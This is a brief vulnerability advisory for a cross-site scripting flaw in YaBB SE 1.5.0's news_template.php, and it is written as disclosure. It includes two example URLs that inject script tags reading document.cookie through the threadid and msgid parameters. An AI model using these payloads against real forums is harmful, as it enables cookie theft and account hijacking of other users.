‘Yabbse XSS Vulnerability in news_template.php (threadid, msgid)’
Summary
‘YaBB SE is a PHP/MySQL port of the popular forum software YaBB (yet another bulletin board). A cross site scripting vulnerability in the product allows a remote attacker to cause the web page to insert malicious HTML and JavaScript into existing web pages.’
Credit:
‘The information has been provided by NaSsEr .M.Sh.’
Details
‘Vulnerable systems:
* Yabbse version 1.5.0
Examples:
http://victim/yabbse/index.php?board=1;action=display;threadid=1<S!cript>alert(document.cookie)</S!cript>
http://victim/yabbse/index.php?board=1;action=reporttm;thread=1;id=0;subject=Welcome%20to%20YaBB%20SE!;poster=YaBB%20SE%20Dev%20Team;msgid=1’><S!cript>alert(document.cookie)</S!cript>
Impact:
This can allow attackers to steal Yabb’s cookies from other users and hijack their accounts.’